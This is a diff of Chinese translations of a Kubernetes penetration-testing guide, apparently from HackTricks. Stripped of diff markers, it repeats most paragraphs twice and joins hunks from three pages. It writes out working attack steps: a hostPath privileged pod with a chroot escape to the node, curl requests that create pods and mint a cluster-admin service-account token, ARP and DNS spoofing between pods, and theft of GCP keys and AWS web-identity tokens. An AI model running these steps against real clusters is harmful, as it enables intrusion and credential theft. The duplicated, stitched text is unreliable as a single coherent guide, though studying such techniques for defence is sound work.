Kubernetes **services** 用于**特定端口和 IP 上公开一个服务**(它将充当实际提供该服务的 pods 的负载均衡器)。了解这一点很有用,可以知道你还能在哪里找到其他可尝试攻击的 services。
Kubernetes **services** 用于**特定端口和 IP 上暴露一个 service**(它会作为负载均衡器,将流量转发到实际提供该 service 的 pods)。了解这一点很有价值,因为你可以找到其他可尝试攻击的 services。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -399,7 +425,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
### 获取 DaemonSets
**DaemonSets** 确保一个**特定 Pod 在集群中所有被选中的节点上运行**。如果你删除 DaemonSet,由它管理的 Pods 也会被移除。
**DaemonSets** 确保 **特定 Pod 在集群中所有选定节点上运行**。如果你删除 DaemonSet,由它管理的 Pods 也会被移除。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -417,7 +443,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
### 获取 Jobs
Jobs 会创建运行直到完成的 Pods。它们通常用于迁移、备份、批处理工作以及一次性的管理任务。
Jobs 会创建 Pod运行直到完成。它们通常用于迁移、备份、批处理以及一次性的管理任务。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -436,7 +462,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
### 获取 CronJobs
CronJobs 使用类似 crontab 的计划来创建 Jobs从而启动 Pods 进行任务式执行。
CronJobs 使用类似 crontab 的调度来创建 Jobs启动 Pods 进行任务式执行。
{{#tabs }}
{{#tab name="kubectl" }}
@@ -455,7 +481,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
### 获取 configMap
configMap 总是包含大量信息和提供给在 kubernetes 中运行的 apps 的 configfile。通常你可以找到很多 password、secrets、tokens,这些用于连接和验证其他 internal/external service。
configMap 总是包含大量信息和提供给在 kubernetes 中运行的 apps 的配置文件。通常你可以找到很多用于连接和验证其他 internal/external service 的 password、secrets、tokens
{{#tabs }}
{{#tab name="kubectl" }}
@@ -483,7 +509,7 @@ k get CiliumClusterwideNetworkPolicies
{{#endtab }}
{{#endtabs }}
### 获取全部 / All
### 获取全部 / 所有
{{#tabs }}
{{#tab name="kubectl" }}
@@ -493,17 +519,14 @@ k get all
{{#endtab }}
{{#endtabs }}
### **获取所有由 helm 管理的资源**
### **获取由 helm 管理的所有资源**
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
```
{{#endtab }}
{{#endtabs }}
### **获取 Pods 消耗**
### **获取 Pods 消耗情况**
{{#tabs }}
{{#tab name="kubectl" }}
@@ -515,21 +538,21 @@ k top pod --all-namespaces
## 在不使用 kubectl 的情况下与 cluster 交互
于 Kubernetes control plane 提供了 REST-ful API,你可以手工构造 HTTP 请求,并使用其他工具发送它们,**curl****wget**
于 Kubernetes control plane 暴露了一个 REST-ful API,你可以手工构造 HTTP 请求,并使用其他工具发送它们,**curl****wget**
### 从 pod 中逃逸
如果你能够创建新的 pods可能可以从它们逃逸到 node。为此,你需要使用一个 yaml 文件创建一个新 pod,切换到创建的 pod,然后 chroot 到 node 的 system。你可以把已有的 pods 作为 yaml 文件的参考,因为它们会显示现有的 images 和 pathes。
如果你能够创建新的 pods可能可以从它们逃逸到 node。为此,你需要使用一个 yaml 文件创建一个新 pod,切换到创建的 pod,然后 chroot 到 node 的系统中。你可以使用已经存在的 pods 作为 yaml 文件的参考,因为它们会显示现有的 images 和 pathes。
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
> 如果你需要在特定节点上创建 pod可以使用以下命令获取 node 上的 labels
> 如果你需要在特定 node 上创建 pod,可以使用以下命令获取 node 上的 labels
>
> `k get nodes --show-labels`
>
> 通常,kubernetes.io/hostname 和 node-role.kubernetes.io/master 都是用于选择的好 label。
然后创建你的 attack.yaml 文件
然后创建你的 attack.yaml 文件
```yaml
apiVersion: v1
kind: Pod
@@ -561,21 +584,21 @@ restartPolicy: Never
```
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
然后创建 pod
然后创建 pod
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
现在可以按如下方式切换到创建的 pod
现在可以通过以下方式切换到创建的 pod
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
最后,你 chroot node 的系统
最后,你 chroot 进入该 node 的 system
```bash
chroot /root /bin/bash
```
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
### 创建一个 privileged pod
### Creating a privileged pod
对应的 yaml 文件如下:
```yaml
@@ -605,7 +628,7 @@ volumes:
hostPath:
path: /
```
使用 curl 创建 pod:
使用 curl 创建 pod
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -623,7 +646,7 @@ curl --path-as-is -i -s -k -X $'POST' \
```
### 删除一个 pod
使用 curl 删除一个 pod
使用 curl 删除一个 pod:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -711,7 +734,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
```
### 创建 Role Binding
### 创建一个 Role Binding
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -763,7 +786,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### 删除 Secret
### 删除一个 Secret
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -781,7 +804,7 @@ ccurl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
```
## 参考资料
## 参考
{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
@@ -4,11 +4,11 @@
## Introduction
在 Kubernetes 中,可以观察到一种默认行为允许**同一节点上运行的所有 containers**之间建立连接。无论 namespace 的区别如何,这都适用。此类连通性一直延伸到**Layer 2**(Ethernet)。因此,这种配置可能会使系统暴露于漏洞之。具体来说,它为**恶意 container**对同一节点上的其他 containers 执行**ARP spoofing attack**提供了可能。在这种攻击中,恶意 container 可以欺骗性地拦截或修改原本发往其他 containers 的网络流量
在 Kubernetes 中,可以观察到一种默认行为允许**位于同一 node 上的所有 containers**之间建立连接。无论 namespace 差异如何,这都适用。此类连通性一直延伸到**Layer 2**(Ethernet)。因此,这种配置可能使 system 暴露于漏洞之。具体来说,它为**malicious container**对同一 node 上的其他 containers 执行 **ARP spoofing attack** 提供了可能。在这种 attack 期间,malicious container 可以欺骗性地拦截或修改原本发往其他 containers 的 network traffic
ARP spoofing attacks 涉及**攻击者发送伪造的 ARP**Address Resolution Protocol消息到局域网。这会导致**攻击者的 MAC address 与网络中台合法 computer 或 server 的 IP address 绑定**。一旦这种攻击成功执行,攻击者就可以拦截、修改,甚至停止传输中的数据。该攻击在 OSI model 的 Layer 2 上执行,这也是为什么 Kubernetes 在这一层的默认连通性会引发安全担忧
ARP spoofing attacks 涉及**attacker 发送伪造的 ARP**Address Resolution Protocolmessages 到 local area network。这会将**attacker 的 MAC address 与网络中台合法 computer 或 server 的 IP address 关联起来**。一旦成功执行这种 attack,attacker 就可以拦截、修改,甚至停止传输中的 data。该 attack 发生在 OSI model 的 Layer 2,因此 Kubernetes 在这一层的默认连通性会引发 security concerns
在这个场景中,将创建 4 台机器
在这个 scenario 中,将创建 4 台 machines
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
- **ubuntu-attack**: **Malicious** container in default namespace
@@ -98,20 +98,36 @@ kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; ba
```
## Basic Kubernetes Networking
如果你想了解这里介绍的网络主题的更多细节,请查看 references。
如果你想了解这里介绍的 networking 主题的更多细节,请转到 references。
### ARP
一般来说,**node 内的 pod-to-pod networking** 通过一个连接所有 pod 的 **bridge** 提供。这个 bridge 叫做 “**cbr0**”。(某些 network plugins 会安装它们自己的 bridge。)**cbr0 也可以处理 ARP**Address Resolution Protocol)解析。当一个传入的数据包到达 cbr0 时,它可以使用 ARP 解析目标 MAC 地址。
一般来说,**node 内的 pod-to-pod networking** 可以通过连接所有 pod 的 **bridge** 来实现。这个 bridge 叫做 “**cbr0**”。(某些 network plugin 会安装它们自己的 bridge。)**cbr0 也可以处理 ARP**Address Resolution Protocol)解析。当一个传入的 packet 到达 cbr0 时,它可以使用 ARP 解析目标 MAC 地址。
这意味着,默认情况下,**运行在同一个 node 上的每个 pod** 都能够在 ethernet 层layer 2)与同一 node 上的任何其他 pod **communicate**(不依赖 namespace)。
这意味着,默认情况下,**在同一个 node 上运行的每个 pod** 都能够在 ethernet 层(layer 2)与同一 node 上的任何其他 pod **communicate**(不 namespace 影响)。
> [!WARNING]
> 因此,可以在同一个 node 上的 pods 之间执行 A**RP Spoofing attacks。**
> 因此,可以在同一个 node 上的 pod 之间执行 A**RP Spoofing attacks。**
### NetworkPolicy and admin policy layers
Kubernetes `NetworkPolicy` 是位于 L3/L4 的 pod traffic control,但它是由 CNI plugin 强制执行的,而不是由 API server 本身强制执行。集群可以存储 NetworkPolicy objects,但如果当前启用的 CNI 没有实现它们,流量仍然可能被允许,因此务必使用一个受控的允许 source 和一个被阻止的 negative-control source 进行验证。
不要只停留在 `kubectl get networkpolicy -A`。使用 Cilium、Calico、OVN-Kubernetes、Antrea 或 managed-provider dataplanes 的集群,可能还会有诸如 `CiliumNetworkPolicy``CiliumClusterwideNetworkPolicy`、Calico `GlobalNetworkPolicy``AdminNetworkPolicy``BaselineAdminNetworkPolicy` 之类的 policy APIs。这些可以添加 explicit deny、tier/order、cluster scope、L7/DNS rules,或 admin guardrails,而普通的 additive Kubernetes NetworkPolicy semantics 无法解释这些内容。
Useful first checks:
```bash
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
```
对于绕过分析,检查是否通过允许的 proxy、DNS 或 egress gateway、`hostNetwork` pod、node-local path、宽泛的 namespace 或 pod label selector,或者更高优先级的 admin/global policy 来避开预期的 block。报告源 pod labels、namespace labels、目标 Service 或 EndpointSlice、CNI/policy implementation、作出决定的 policy rule,以及 traffic proof。
### DNS
在 kubernetes 环境中,你通常会发现 1 个(或多)**DNS services running**,通常位于 kube-system namespace 中:
在 kubernetes 环境中,你通常会发现 1 个(或多**DNS services 正在运行**,通常位于 kube-system namespace 中:
```bash
kubectl -n kube-system describe services
Name: kube-dns
@@ -136,26 +152,26 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
在前面的信息中,你可以看到一些有趣的东西**service 的 IP** 是 **10.96.0.10**,但运行该 service 的 **pod 的 IP****172.17.0.2**
在前面的信息中,你可以看到一些有趣的内容**service 的 IP** 是 **10.96.0.10**,但运行该 service 的 **pod 的 IP****172.17.0.2**
如果你检查任何 pod 内部的 DNS 地址,你会发现类似下面这样的内容:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
然而,pod **不知道**如何到达那个**地址**,因为在这种情况下**pod range** 是 172.17.0.10/26。
然而,pod **不知道**如何到达那个**地址**,因为在这种情况下 **pod range** 是 172.17.0.10/26。
因此,pod 会将 **DNS 请求发送到地址 10.96.0.10**,该地址会被 cbr0 **转换** **172.17.0.2**
因此,pod 会将 **DNS requests 发送到地址 10.96.0.10**然后该地址会被 cbr0 **转换**为 **172.17.0.2**
> [!WARNING]
> 这意味着 pod 的 **DNS request** **始终**会经过 **bridge**,以**转换** **service IP 到 endpoint IP**,即使 DNS server pod 处于同一个子网中。
> 这意味着 pod 的 **DNS request** **总是**会经过 **bridge****转换** **service IP 到 endpoint IP**,即使 DNS server pod 处于同一个子网中。
>
> 了解这一点,并且知道 **ARP attacks are possible**,节点中的一个 **pod** 将能够**拦截**每个 **pod****subnetwork** **bridge** 之间的流量,并**修改**来自 DNS server 的 **DNS responses****DNS Spoofing**)。
> 知道这一点,并且知道 **ARP attacks are possible**,节点中的一个 **pod** 将能够**拦截**同一**subnetwork** 中**每个 pod** 与 **bridge** 之间的流量,并**修改**来自 DNS server 的 **DNS responses****DNS Spoofing**)。
>
> 此外,如果 **DNS server** 与攻击者位于**同一个 node**,攻击者可以**拦截**集群中任何 pod 的所有 **DNS request**(在 DNS server 和 bridge 之间)并修改响应。
> 此外,如果 **DNS server** 与攻击者**相同的 node**,攻击者可以**拦截**集群中任何 pod 的**所有 DNS request**(在 DNS server 和 bridge 之间)并修改响应。
> [!NOTE]
> 在假设这在真实集群中可之前,请验证当前启用的 CNI 和 DNS 路径。一些 CNI 会以不同方式路由或隔离同节点流量,而使用 NodeLocal DNSCache 的集群可能会先将 pod 的 DNS queries 发送到一个 node-local 地址,然后再转发到 CoreDNS。在这些环境中,DNS spoofing 取决于 pod 的放置、packet capabilities、resolver 配置、node-local cache 行为,以及应用是否使用 TLS 或其他身份机制验证对端。
> 在假设这在真实 cluster 中可之前,请验证实际的 CNI 和 DNS path。一些 CNI 会以不同方式路由或隔离同节点流量,而使用 NodeLocal DNSCache 的 cluster 可能会先将 pod 的 DNS query 发送到一个 node-local 地址,然后再转发到 CoreDNS。在这些环境中,DNS spoofing 取决于 pod placement、packet capabilities、resolver configuration、node-local cache behavior,以及应用是否使用 TLS 或其他身份机制验证对端。
## 同一 Node 中 pod 的 ARP Spoofing
@@ -236,11 +252,11 @@ arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
正如前面已经提到的,如果你 **compromise 一个与 DNS server pod 处于同一 node 的 pod**,你可以通过 **ARPSpoofing****bridge****DNS** pod 进行 **MitM**,并 **modify 所有 DNS responses**
正如前面已经提到的,如果你**compromise**了与 DNS server pod **在同一节点上的一个 pod**,你可以通过 **ARPSpoofing****bridge****DNS** pod 进行 **MitM**,并**modify** 所有 DNS responses。
你有一个非常不错的 **tool****tutorial** 可以在 [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) 中测试这个方法。
你有一个非常不错的**tool**和**tutorial**可以用来测试这一点,见 [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
在我们的场景中,在 attacker pod 中 **download** 这个 **tool**,并创建一个名为 `hosts` **file**,其中包含你想要 **spoof****domains**,例如:
在我们的场景中,在 attacker pod 中**download**这个**tool**,并创建一个名为 `hosts` 的**file**,里面包含你想要**spoof**的**domains**,例如:
```
cat hosts
google.com. 1.1.1.1
@@ -268,19 +284,19 @@ google.com. 1 IN A 1.1.1.1
## 通过 coreDNS configmap 进行 DNS Spoofing
具有 kube-system 命名空间中 `coredns` configmap 写权限的用户可以修改集群的 DNS 响应。
具有 kube-system 命名空间中对 configmap `coredns` 写权限的用户可以修改集群的 DNS 响应。
另外,如果部署了 NodeLocal DNSCache,也要检查它。它通常作为 hostNetwork DaemonSet 运行,并且有自己的 ConfigMap、logs、cache 和 forwarding path。CoreDNS 的更可能不是唯一会影响或观察到 DNS 行为的地方。
如果部署了 NodeLocal DNSCache,也要检查它。它通常作为 hostNetwork DaemonSet 运行,并且有自己的 ConfigMap、logs、cache 和 forwarding path。CoreDNS 的更可能不是唯一会影响或观察到 DNS 行为的地方。
在以下位置查看更多关于此攻击的信息:
在以下位置查看有关此 attack 的更多信息:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
{{/ref}}
## 滥用暴露的 kubernetes management services
## 滥用暴露的 kubernetes 管理服务
像 Apache NiFi、Kubeflow、Argo Workflows、Weave Scope 和 Kubernetes dashboard 这服务,常常暴露互联网或 kubernetes network 内部。攻击者如果能够**找到任何用于管理 kubernetes 的 platform 并访问它**可以滥用它来获 kubernetes API 的访问权限,并执行诸如创建新 pods、修改现有 pods,甚至删除它们之类的操作。
像 Apache NiFi、Kubeflow、Argo Workflows、Weave Scope 和 Kubernetes dashboard 这样的服务,通常会暴露互联网或 kubernetes network 内部。成功**找到任何用于管理 kubernetes 的 platform 并访问它**的 attacker,可以滥用它来获得对 kubernetes API 的访问权限,并执行诸如创建新 pod、修改现有 pod,甚至删除它们之类的操作。
## 枚举 kubernetes network policies
@@ -300,10 +316,10 @@ kubectl get ciliumnetworkpolicy --all-namespaces
```bash
kubectl get crd | grep -i policy
```
## 捕获 Traffic
## 捕获流量
工具 [**Mizu**](https://github.com/up9inc/mizu) 是一个简单但强大的面向 Kubernetes 的 API **traffic viewer**,可让你**查看 microservices 之间的所有 API communication**,帮助你进行 debug 并排查 regression。\
它会在选定的 pods 中安装 agent,收集它们的 traffic 信息,并在 web server 中展示给你。不过,为此你需要高的 K8s permissions(而且它并不太 stealthy)。
工具 [**Mizu**](https://github.com/up9inc/mizu) 是一个简单但强大的用于 Kubernetes 的 API **traffic viewer**,可让你**查看 microservices 之间的所有 API 通信**,帮助你调试并排查 regressions。\
它会在选 pod 中安装 agents,收集它们的流量信息,并在一个 web server 中展示给你。不过,你需要高的 K8s 权限才能做到这一点(而且它并不太 stealthy)。
## References
@@ -4,30 +4,30 @@
## GCP
如果你在 GCP 内运行一个 k8s cluster,你大概率会希望 cluster 中运行的某个 application 能访问 GCP。通常有 2 种常见方式:
如果你在 GCP 内运行一个 k8s cluster,你通常会希望 cluster 中运行的某个 application 能访问 GCP。实现这一点有 2 种常见方式:
### Mounting GCP-SA keys as secret
### GCP-SA keys 作为 secret 挂载
**kubernetes application 授予 GCP 访问权限** 的常见方式是:
**kubernetes application 访问 GCP**一种常见方式是:
- 创建一个 GCP Service Account
- 为其绑定所需的 permissions
- 给它绑定所需的 permissions
- 下载所创建 SA 的 json key
- 将其作为 secret mount 到 pod
- 将其作为 secret 挂载到 pod
- 设置 GOOGLE_APPLICATION_CREDENTIALS 环境变量,指向该 json 所在路径
> [!WARNING]
> 因此,作为 **attacker**,如果你 compromise 了 pod 内的一个 container,你应该检查是否存在带有 GCP credentials 的 **env** **variable****json** **files**
> 因此,作为 **attacker**,如果你 compromise 了 pod 内的一个 container,你应该检查包含 GCP credentials 的 **env** **variable****json** **files**
### Relating GSA json to KSA secret
### GSA json 关联到 KSA secret
给 GSA 提供访问 GKE cluster 权的一种方式,是通过这种方式将它们绑定起来
GKE cluser 中的 GSA 授权的一种方式,是通过以下方式将它们绑定:
- 使用以下命令,在与你的 GKE cluster 相同的 namespace 中创建一个 Kubernetes service account
```bash
kubectl create serviceaccount <service-account-name>
```
- 创建一个 Kubernetes Secret,其中包含你想要授予访问 GKE cluster 的 GCP service account 的 credentials。你可以使用 `gcloud` 命令行工具来完成这一点,如下面的示例所示:
- 创建一个包含你想要授予访问 GKE cluster 的 GCP service account 凭据的 Kubernetes Secret。你可以使用 `gcloud` command-line tool 来完成,如下例所示:
```bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
@@ -40,15 +40,15 @@ kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> 在 **第二步** 中,**GSA 的凭据** 被设置为 **KSA 的 secret**。然后,如果你能从 **GKE** 集群**内部** **读取该 secret**,你就可以 **提到那个 GCP service account**
> 在 **第二步** 中,已将 **GSA 的凭据** 设置为 **KSA 的 secret**。然后,如果你能从 **GKE** 集群 **内部** **读取该 secret**,你就可以 **提到那个 GCP service account**
### GKE Workload Identity
使用 Workload Identity,我们可以配置一个[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) 来充当一个[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)。使用 Kubernetes service account 运行的 Pods 在访问 Google Cloud APIs 时会自动以 Google service account 身份进行证。
使用 Workload Identity,我们可以配置一个[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) 来充当一个[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)。 Kubernetes service account 运行的 Pods 在访问 Google Cloud APIs 时会自动以 Google service account 身份进行身份验证。
启用这种行为的 **第一系列步骤** 是在 **GCP 中启用 Workload Identity**[**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c))并创建你希望 k8s 冒充的 GCP SA。
启用这种行为的 **第一系列步骤** 是在 **GCP 中启用 Workload Identity**[**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)并创建你希望 k8s 冒充的 GCP SA。
- 在新集群上 **Enable Workload Identity**
- 在新的 cluster 上 **Enable Workload Identity**
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **连接**到 **cluster** 并**创建**要使用的**service account**
- **连接** **cluster** **创建** 要使用的 **service account**
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -80,7 +80,7 @@ kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **将 GSA 绑定到 KSA**
- **将 GSA KSA 绑定**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- 使用 **KSA** 运行一个 **pod** 并检查对 **GSA****access**
- 运行一个带有 **KSA** **pod** 并检查对 **GSA****access**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
如有需要,请检查以下命令以进行 authentication
如有需要,请检查以下用于认证的命令:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> 作为 K8s 内的攻击者,你应该**搜索 SAs**,查找带有 **`iam.gke.io/gcp-service-account` 注解** 的对象,因为这表示该 SA 可以访问 GCP 中的某些资源。另一个办法是尝试滥用集群中的每个 KSA,并检查它是否有访问权限。\
> 从 GCP 来看,枚举 bindings 并了解你**给 Kubernetes 的 SAs 授予了哪些访问权限**总是很有价值
> 作为 K8s 内的攻击者,你应该 **search for SAs**,寻找带有 **`iam.gke.io/gcp-service-account` annotation** 的对象,因为这表示该 SA 可以访问 GCP 中的某些资源。另一个选择是尝试滥用集群中的每个 KSA,并检查它是否有访问权限。\
> 从 GCP 的角度来看,枚举 bindings 并了解 **你正在给 Kubernetes 的 SAs 赋予哪些 access** 总是很有意思
这是一个脚本,用于轻松**遍历所有 pod** 定义**查找**该 **注解**
这是一个用于轻松 **iterate over the all the pods** 定义**looking** 查找该 **annotation** 的脚本
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
一种(已过时的)给 Pods 分配 IAM Roles 的方法是使用 [**Kiam**](https://github.com/uswitch/kiam) 或 [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** 基本上,你需要在集群中运行一个带有**某种特权 IAM role****daemonset**。这个 daemonset 会负责将 IAM roles 的访问权限授予需要它的 pods。
给 Pods 提供 IAM Roles 的一种(过时的)方式是使用 [**Kiam**](https://github.com/uswitch/kiam) 或 [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** 基本上,你需要在集群中运行一个带有某种特权 IAM role 的 **daemonset**。这个 daemonset 会负责将 IAM roles 授权给需要它的 pods。
首先,你需要配置**在该 namespace 内可以访问哪些 roles**,方法是在 namespace object 中添加一个 annotation
首先,你需要配置 **哪些 roles 可以在 namespace 内被访问**,这可以通过在 namespace object 中添加一个 annotation 来完成
```yaml:Kiam
kind: Namespace
metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
一旦命名空间配置了 Pods 可以拥有的 IAM roles,你就可以在每个 pod 定义中**通过类似下面的方式指定你想要的 role**
一旦命名空间配置了 Pod 可以使用的 IAM roles,你就可以**在每个 pod 定义中用类似这样的方式指定你想要的 role**
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> 作为攻击者,如果你在 pods 或 namespaces 中**发现这些 annotations**,或者发现一个运行中的 kiam/kube2iam server(可能在 kube-system 中),你就可以**冒充每个已被 pods 使用的 r**ole甚至更多(如果你能访问 AWS account就枚举这些 roles)。
> 作为攻击者,如果你在 pods 或 namespaces 中**发现这些 annotations**,或者发现一个运行中的 kiam/kube2iam server可能在 kube-system 中),你就可以**冒充每个已被 pods 使用的 r**ole以及更多角色(如果你有 access to AWS accountenumerate 这些 roles)。
#### Create Pod with IAM Role
> [!NOTE]
> 要指定的 IAM role 必须与 kiam/kube2iam role 于同一个 AWS account 中,并且该 role 必须能够访问它。
> 要指定的 IAM role 必须与 kiam/kube2iam role 于同一个 AWS account 中,并且该 role 必须能够 access 它。
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -192,14 +192,14 @@ image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### 通过 OIDC 为 K8s Service Accounts 配置 IAM Role <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### 通过 OIDC 为 K8s Service Accounts 提供 IAM Role <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
这是 **AWS 推荐的方式**
1. 首先,你需要为集群 [create an OIDC provider](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)。
2. 然后创建一个具有该 SA 所需权限的 IAM role
3. 创建 IAM role 与 SA 名称之间的 [trust relationship](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)(或者 namespace 创建信任关系,把该 role 的访问权限赋予该 namespace 的所有 SA)。_这个 trust relationship 主要会检查 OIDC provider 名称、namespace 名称 SA 名称_。
4. 最后,**创建一个带有注解、指明该 role ARN 的 SA**,那么使用该 SA 运行的 pods 将 **能够访问该 role 的 token**。这个 **token** 会被 **写入** 一个文件中,其路径 **`AWS_WEB_IDENTITY_TOKEN_FILE`** 指定(默认:`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`
1. 首先,你需要为集群 [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)。
2. 然后创建一个 IAM role,并赋予 SA 所需的权限
3. 创建 IAM role 与 SA 名称之间的 [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)(或者赋予该 namespace 中所有 SA 访问该 role 的 namespace)。_trust relationship 主要会检查 OIDC provider 名称、namespace 名称以及 SA 名称_。
4. 最后,**创建一个带有 annotation 的 SAannotation 指明该 role ARN**,那么使用该 SA 运行的 pods 将能够 **访问该 role 的 token**。这个 **token** 会被 **写入** 一个文件中,其路径通过 **`AWS_WEB_IDENTITY_TOKEN_FILE`** 指定(默认:`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -216,27 +216,70 @@ kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
要**使用来自** `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` **的 token 获取 aws**运行:
要**使用 token 获取 aws**,从 `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` 运行:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> 作为攻击者,如果你能枚举一个 K8s cluster,检查是否存在带有**那个 annotation****service accounts**,以便**升级到 AWS**。为此,只需使用个 IAM **privileged service accounts** 之一 **exec/create** 一个 **pod**然后窃取 token。
